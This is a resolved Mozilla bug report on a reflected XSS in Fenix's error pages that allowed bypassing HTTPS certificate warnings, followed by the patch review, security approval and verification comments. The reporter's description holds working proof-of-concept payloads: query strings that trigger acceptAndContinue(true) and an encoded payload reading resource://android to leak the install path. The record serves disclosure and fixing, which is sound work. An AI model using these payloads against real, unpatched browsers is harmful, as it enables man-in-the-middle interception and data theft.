1657055 - HTTPS certificate verification bypass with reflected XSS in error page(s) in Fenix

Status: RESOLVED FIXED

(GeckoView :: General, defect)

Description

[Muneaki Nishimura]

Attachment: get_installed_path_result.png

Error page in Fenix has reflected XSS bugs (caused by following innerHTMLs).
https://github.com/mozilla-mobile/android-components/blob/4636ab1f66ca6ba976c16d7f16a4acd15fd6d1e3/components/browser/errorpages/src/main/assets/errorPageScripts.js#L23

By using this XSS, attacker can make victim to bypass certificate error without any interaction.

For example, the following page shows bad cerfiticate error.
https://self-signed.badssl.com/

But you can open the page if you append ?%3Cimg%20src%3D%23%20onerror%3DacceptAndContinue(true)%3E in the querystring.
https://self-signed.badssl.com/?%3Cimg%20src%3D%23%20onerror%3DacceptAndContinue(true)%3E

Simply utilise this technique for any invalid certificate hosts as well.
https://untrusted-root.badssl.com?%3Cimg%20src%3D%23%20onerror%3DacceptAndContinue(true)%3E
https://expired.badssl.com?%3Cimg%20src%3D%23%20onerror%3DacceptAndContinue(true)%3E

Additionally, this XSS works on resource: origin, so attacker can retriece other sensitive resources from other resources.
The following demo retrieves application installed path of Fenix through resource://android (see also the attached image).
The installed path is randomized by Android, so usually any user cannot get where APK is installed, but this bug can do this.
https://pinning-test.badssl.com/?%3c%69%6d%67%20%73%72%63%3d%23%20%6f%6e%65%72%72%6f%72%3d%22%64%6f%63%75%6d%65%6e%74%2e%62%6f%64%79%2e%69%6e%6e%65%72%48%54%4d%4c%3d%60%3c%69%66%72%61%6d%65%20%69%64%3d%27%66%27%20%73%72%63%3d%27%72%65%73%6f%75%72%63%65%3a%2f%2f%61%6e%64%72%6f%69%64%2f%41%6e%64%72%6f%69%64%4d%61%6e%69%66%65%73%74%2e%78%6d%6c%27%20%6f%6e%6c%6f%61%64%3d%27%61%6c%65%72%74%28%74%68%69%73%2e%63%6f%6e%74%65%6e%74%57%69%6e%64%6f%77%2e%64%6f%63%75%6d%65%6e%74%2e%66%69%72%73%74%45%6c%65%6d%65%6e%74%43%68%69%6c%64%2e%66%69%72%73%74%43%68%69%6c%64%2e%64%61%74%61%29%27%3e%3c%2f%69%66%72%61%6d%65%3e%60%22%3e

Comment 1

[Sebastian Kaspari (:sebastian; :pocmo)]

This looks like something we may need to uplift to AC 48 (for Fenix 79) and 52 (for Fenix 80).

It looks like a problem in Android Components, but I am surprised that this only reproduces in Fenix and not the AC sample browser.

Comment 2

[Sebastian Kaspari (:sebastian; :pocmo)]

(In reply to Sebastian Kaspari (:sebastian; :pocmo) from comment #1)

It looks like a problem in Android Components, but I am surprised that this only reproduces in Fenix and not the AC sample browser.

Okay, sample browser was using a different error pages implementation, which does seem to escape correctly. When switching to the same one as Fenix then this reproduces in sample browser too (createErrorPage() -> createUrlEncodedErrorPage())

Comment 3

[Frederik Braun [:freddy]]

This allows bypassing cert errors. Not sure if the XSS is executed on a normal content principal or if there are other APIs on that about: page which would allow worse things (through message passing or directly through a lax same-origin policy for those special domains fetch()). I'd argue this is already sec-high without the last bit though.

Comment 4

[Sebastian Kaspari (:sebastian; :pocmo)]

Attachment: 0001-Url-encode-parameters-passed-to-error-pages.patch

Comment 5

[Christian Sadilek [:csadilek]]

Comment on attachment 9167906 [details] [diff] [review]
0001-Url-encode-parameters-passed-to-error-pages.patch

Review of attachment 9167906 [details] [diff] [review]:
-----------------------------------------------------------------

Looks good! Did a round of manual tests with the provided STRs too.

::: components/support/ktx/src/main/java/mozilla/components/support/ktx/kotlin/String.kt
@@ +150,5 @@
> +/**
> + * Translates the string into {@code application/x-www-form-urlencoded} string.
> + */
> +fun String.urlEncode(): String {
> +    return URLEncoder.encode(this, "UTF-8")

nit: Could use `Charsets.UTF_8.name()`

Comment 6

[Sebastian Kaspari (:sebastian; :pocmo)]

Attachment: 0001-Url-encode-parameters-passed-to-error-pages.patch

Updated patch: Fixes the nit mentioned above and fixes a unit tests that failed after making this change.

Comment 7

[Sebastian Kaspari (:sebastian; :pocmo)]

Comment on attachment 9168100 [details] [diff] [review]
0001-Url-encode-parameters-passed-to-error-pages.patch

Security Approval Request

• How easily could an exploit be constructed based on the patch?: The patch adds encoding to all query parameters. The URL of the page itself is not one of the parameters. But once you notice that the URL gets injected into some of those strings, you should be able to construct an exploit. So it is not plain obvious on first sight, but just the fact that we add missing url encoding may be enough to gain attention?
• Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: Unknown
• Which older supported branches are affected by this flaw?: All Fenix releases (Nightly = master, Beta = releases/v80*, Release=releases/v79*)
• If not all supported branches, which bug introduced the flaw?: None
• Do you have backports for the affected branches?: Yes
• If not, how different, hard to create, and risky will they be?:
• How likely is this patch to cause regressions; how much testing does it need?: Unlikely. URL encoding query parameters is correct and we have been lucky that this did not cause random other non-security issues (since those strings get translated into various languages).

Comment 8

[Daniel Veditz [:dveditz]]

Yeah, I think the change waves a red flag, but thankfully the Fenix roll-out has barely begun so as long as we ship the update within a couple of weeks (it's in sync with Desktop, right?) it should be fine to land this now.

Comment 9

[Daniel Veditz [:dveditz]]

Comment on attachment 9168100 [details] [diff] [review]
0001-Url-encode-parameters-passed-to-error-pages.patch

sec-approval+

Comment 10

[Sebastian Kaspari (:sebastian; :pocmo)]

Patch for this landed in AC 48/52 and was part of Fenix build 79.0.3 and 80.0.0 Beta 5.

Comment 11

[Andrei Bodea[:andrei]]

Verified as fixed on the 79.0.3 with Google Pixel 4 XL (Android 11).
Note that the Secure Connection failed page error is correctly displayed.

NI myself to verify it on the other affected versions.

Comment 12

[Andrei Bodea[:andrei]]

Verified as fixed on the 80.0.0 beta 5 with Google Pixel 4 XL (Android 11).
Note that the Secure Connection failed page error is correctly displayed.